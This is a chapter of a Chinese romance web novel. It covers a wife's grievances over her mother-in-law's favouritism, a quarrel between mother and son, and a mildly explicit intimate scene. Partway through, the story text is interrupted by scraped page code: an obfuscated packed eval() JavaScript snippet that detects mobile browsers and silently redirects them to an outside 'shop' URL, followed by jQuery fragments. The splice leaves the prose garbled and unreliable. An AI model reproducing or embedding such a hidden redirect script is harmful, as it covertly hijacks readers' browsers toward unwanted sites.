15. 第十五章

作品:《替嫁清冷姐夫后

    沈谏渊一时语噎,又侧目看了看屋子里头,正见袁氏拉着施兰仪的手,一旁的人围着她们笑吟吟的也不知是在说些什么。


    他回过头来看向李锦絮,许是因着来回走动,脸色不大好看,就连嘴唇也仍旧是白着的,他忽反应回来,自己方才质问的话,有些太重了。


    她不过是去换件衣服罢了,他何必这样说呢。


    沈谏渊嗓音微哑,好半晌,问她,“旁人洒的,你怎不说呢。”


    李锦絮也沉默了许久,末了抬眸看向他,道:“不过是不小心弄洒了一件衣服。”


    沈谏渊还欲说些什么,李锦絮又一次打断,道:“母亲说不过是一杯酒罢了,没什么,我也觉得没什么,一件小事,不值得说。”


    他自己先前不就是这样说的吗,一件衣服罢了,也不值得闹,现下也一样的,只是一杯酒了。


    她都不追究,不想提了,他又何必继续问呢。


    如今李锦絮不直说委屈,沈谏渊却不知怎么从那话中听出几分委屈。


    李锦絮想起方才傅知恒的话,视线落在了屋中施兰仪的身上,她问沈谏渊道:“母亲看起来很喜欢施表妹,郎君呢,你喜欢吗?”


    傅知恒这点其实也没说错吧,李锦絮觉得他也挺喜欢自己这个表妹的。


    施兰仪如今也快十九的年岁了,却仍旧没有成婚。


    她容貌甚殊,才气也高,至于性格,更不用说了,她能哄得袁氏高兴喜欢,那性子自也是万里挑一。


    她是不想成婚,还是在等些什么呢?


    这句话将两人之间的地位一下子对调了过来,方才李锦絮怕他知自己和傅知恒有了牵扯,而今却是反过来问他和施兰仪。


    沈谏渊听到她的话后几乎是马上皱眉,道:“是因母亲喜爱表妹,让我多照顾她,我又如何谈及喜欢二字?”


    袁氏和施夫人的关系好,对自己的外甥女多有照拂,连带着两个孩子也有所往来,长幼有序,沈谏渊听袁氏的话,一直将她看做妹妹,如今听到李锦絮说起喜欢二字,只觉荒谬至极。


    李锦絮听到沈谏渊的话后,眨巴着眼睛望着他,没说话,心里头也不知是在琢磨着些什么,她最后什么也没说,牵着可姐儿的手进去了。


    他说不喜欢施兰仪?


    是真的不喜欢,还是只是说给她听的呢?她试图去分辨沈谏渊话中的真伪,最后实在辨认不清。


    可她想着,信他一回吧,毕竟如今这样,不就是他说什么,她就只能信什么吗。


    宴席差不多到傍晚才结束,外头的宾客离开之后,一家人又凑在老夫人的面前说了会话,天伦之乐,十分温馨,一直到最后,老夫人有些乏了,一行人才依依不舍地离开。


    结束后,沈谏渊让李锦絮先回了茗章院,李锦絮想他或许是还有些话想同老夫人说,也没多问,应了声好,先回去了。


    沈家今日热闹,从卯时起就没消停过,一直到了宴席结束,这座偌大的宅院才安静下来,热闹褪去,月光落在庭院之中,将庭中万物蒙上了一片白辉,莫名留下一股萧索的气息。


    沈谏渊独自留下并非去找老夫人,而是去寻了袁氏,袁氏还在同沈二夫人和三夫人说话,见到沈谏渊来寻她,便停了手上的话头,同她们先说散了。


    她问沈谏渊道:“怎么了,是出什么事了不成?”


    他难得主动寻她,袁氏还以为是出了些什么事。


    沈谏渊道:“母亲,今日表妹将絮娘的衣服洒了?”


    袁氏没想着他是为了说这事,表情有些不自然,是李氏找他去说什么了不成?


    “不就是一件衣服吗,兰仪又不是故意的,这点事情值得到你的面前去说?心眼也太小了一点。”


    沈谏渊听到她的话后,蹙眉道:“非是她说的,是我自己同人打听到的,而且,就算是她所说,怎么就谈及心眼小不小呢。”


    李锦絮一开始还瞒着他,并不想叫他知道这之间发生了这档子事,若非是可姐儿说,他到现在也不知道。


    沈谏渊而今听到袁氏的话后,也明白李锦絮为何会将那些事憋在嘴巴里了,因着说出来,反倒要叫旁人说了不好。


    袁氏见他脸色不好,有心要计较下去,便道:“那是你表妹,我从小到大是如何教导你的,你要将她当做一家人来看待,如今就只是不慎洒了一点酒,你就同我说这样的话?”


    沈谏渊道:“我确实如同待妹妹那般照顾她,可她终归和我不是一家人,絮娘同我才是一家人,母亲又为何始终不能将絮娘当做一家人来看呢?您分明也是看着她长大的。”


    “你要我说为什么?他们李家这样骗我们!”


    沈谏渊道:“她也是被逼的,您不能怨恨怪罪她。”


    袁氏听他这样护着她,彻底有些恼了,“我怎么不能怪罪她,她哪里懂事,她哪里听话,不说和兰仪比,就是和她姐姐比,也是那样的不好。”


    听她将那些人放在比来比去,又将李锦絮贬得如此一文不值,沈谏渊面色冷沉了一些,他辩驳道:“母亲太过偏颇,几人也并不需要放在一起做比。絮娘她不用怎么样,如今已经很听话温顺了,这样便够了。”


    他也实在想不明白,李锦絮在她眼中怎就如此不堪?就说她从前或许是太好动了一些,短短一年过去,也已长大懂事,她何必如此咄咄逼人。


    “不能放在一起比,那是因为李锦絮什么都比不过吧!”


    袁氏被他气绝,沈谏渊这人的性子就是这样,从小到大,都一板一眼公私分明,不论亲疏,不论喜恶,只辨对错,李锦絮替嫁进来,不是他们李家的错,不是李锦絮的错,那还成她的错不成了?好好好,他这样是非分明,他这样知对错,那她又还有什么好同他说。


    “她是我的妻子,母亲如此相逼有何好处?表妹若总如此,往后我见沈家也不用同她再有来往。”


    沈侯爷见这两人一直在外边说着话,凑了过来,问道:“你们在说些什么呢?”


    袁氏道:“看你养得好儿子!当初我说了不要让他去都察院,再在那里待下去,往后迟早六亲不认!”


    沈侯爷不明所以,挠了挠头,“这都什么跟什么。”


    但多少也猜出来了一些,大概就是沈谏渊又没顺着袁氏吧,才叫她说出他六亲不认的话。


    他给沈谏渊使了个颜色,让他先走,而后同她道:“好了好了,一些个小事,何必伤了母子和气......”


    *


    七月时节,日光最是毒辣,李锦絮今日出了太多的汗,回了屋子之后就马上让人放水净身,待沈谏渊回来的时候,她刚好从里头出来,身上简单系着一条抱腹,外头披着一件薄衫,堪堪掩住嫩白的肌肤。


    她拿着巾帕擦着湿漉漉的头发,看向沈谏渊道:“回来了?你也进去先洗吧。”


    这大热天的,大家在外面忙活了一天,李锦絮觉得,沈谏渊面上看上去再干净,现在也有些不干净了,她才刚洗过澡,可不想叫他这身碰脏了。


    沈谏渊没听出李锦絮话里面的意思,但心里面想的却和她差不多,今日同人来往颇多,她既已经净好身了,立在那处看起来干干净净,再碰将人碰脏了不好。


    他从净室中出来,也擦着头发,巾帕在发顶揉搓了两下,水珠还是顺着发尾滴下,李锦絮头发擦得差不多干了,待他走到床边,拿过了他的布巾,为他拭发。


    他坐在床边,李锦絮跪坐在他的身后,帕子拧住了掉下来的水,两人闻着对方身上带着各自的清香,这股香气交织在一起,将他们无形地笼罩在了一起。


    沈谏渊道:“今日的事......”


    李锦絮听后,手上动作忍不住紧了紧,她马上打断,道:“真的没什么,不用再多说了。”


    李锦絮难得觉得沈谏渊有些优柔寡断,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366479|199329||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这事都过去了,她不想再提了,他反倒是一直说着。


    沈谏渊察觉到了她微妙的抗拒,却仍是执意道:“是你在母亲和表妹那里受委屈了。”


    “什么和什么啊。”李锦絮讷声道。


    她是真不将这件事放在心上了,不想,也不敢再为这些事多想,她心眼真的很小,会越想越委屈,就像那天从陈家回来,自己给自己想哭了。


    她也知道沈谏渊并不会因为这种事情安慰她,她若多说,反倒要挨他的说。


    可没想到,他今日反倒过来说是她受委屈了。


    李锦絮不知该作何反应,手上的动作都顿住了。


    沈谏渊见她没了动作,回头看她,两人对视到了一起,他薄唇轻启,还欲说些什么,李锦絮却微微俯身,吻上了那片薄唇。


    她和他在一起的时候,向来是她话比较多,可今日这样,她竟然都不知该说些什么了。什么委屈不委屈的,也都不想说了,让她委屈的不是施兰仪在多,是他在多。


    可下午那会她和傅知恒说,沈谏渊也挺好的,既是说他好,她总不能自己都骗不过。


    总之,她想,沈谏渊现在说这些,她应当是要高兴的。


    两片唇瓣碰到了一起,李锦絮不大会亲人,在这方面有些笨拙,他们只是唇瓣和唇瓣碰了碰,干涩地碰撞外,再无多余的反应。


    沈谏渊没料及她突然的动作,可待到反应过后,扣住了她的后颈,将她带到了自己的怀中,他进一步加深了这个吻,本来也只是干涸的亲吻,瞬间变得湿润。


    她浑身上下软得一塌糊涂,不曾如何,就觉自己已经被硌得不成形状。


    “去床上吧。”李锦絮被他吻着,半推着道。


    “这样也可以。”沈谏渊哑声道。


    那件披在她身上的外衫滑落到了地上,她的那截软腰被他的大掌紧紧箍着,她怕从他的身上掉下去,双手紧紧揽着他的脖子,整个人都埋在他的怀中。


    他坚硬的胸膛蹭得她有些疼,两人的肌肤都泛着激.烈过后的粉。


    缠在一起,看不清原本的白。


    到了最后,李锦絮再受不住,那细细的脖颈猛地仰起,从喉中发出细细的呻.吟。


    她连揽着他脖子的力气也没有了,最后是他抱着她,才没从身上掉下去。


    李锦絮不知是从什么时候开始渐渐明白,这股感觉原来是舒服,只有沈谏渊能给的舒服。


    过了许久,屋中才又渐渐安静了下来,李锦絮太累了,就这样伏在他的肩头喘着气,就连药也不想喝了。


    最后是沈谏渊抱着她起了身,往净室去。


    *


    李锦絮第二日去给袁氏请安,袁氏见她面色红润,登时更没好气,她昨日叫沈谏渊气得半死,他们两个倒是和和美美,她心里头不痛快,嘴上便又训斥了她两句。


    李锦絮听了也没怎么放在心上,只是心里头暗自想着袁氏是在哪里寻了不痛快,所以才将气撒到她的身上?


    这也不是第一回了。


    李锦絮时常觉得自己憋不住气,但看了袁氏才发现,她这也还好,气性也没那么大。


    袁氏发了一会的脾气,但心里面记着昨夜沈谏渊的话,多少有些忌惮,她也不怕他拿她怎么样,只是想着施兰仪,他若因她而疏远了她,那就得不偿失了。


    她压了些气,冷着脸道:“出去吧,看了心烦。”


    求之不得。


    李锦絮听了,忙起身告退,一刻也不多留。


    袁氏端起茶盏喝口的水的功夫,人就已经跑不见了,不由得恼道:“哪里来的这样的人,气煞我也!”


    做做样子也不会做吗!她让她走,她就跑着走,这样的人也有!


    沈谏渊说她从前相比变了许多,她看就是这个李锦絮在他面前做样子,讨他开心罢了。


    她哪里有变?她分明和从前一个样子!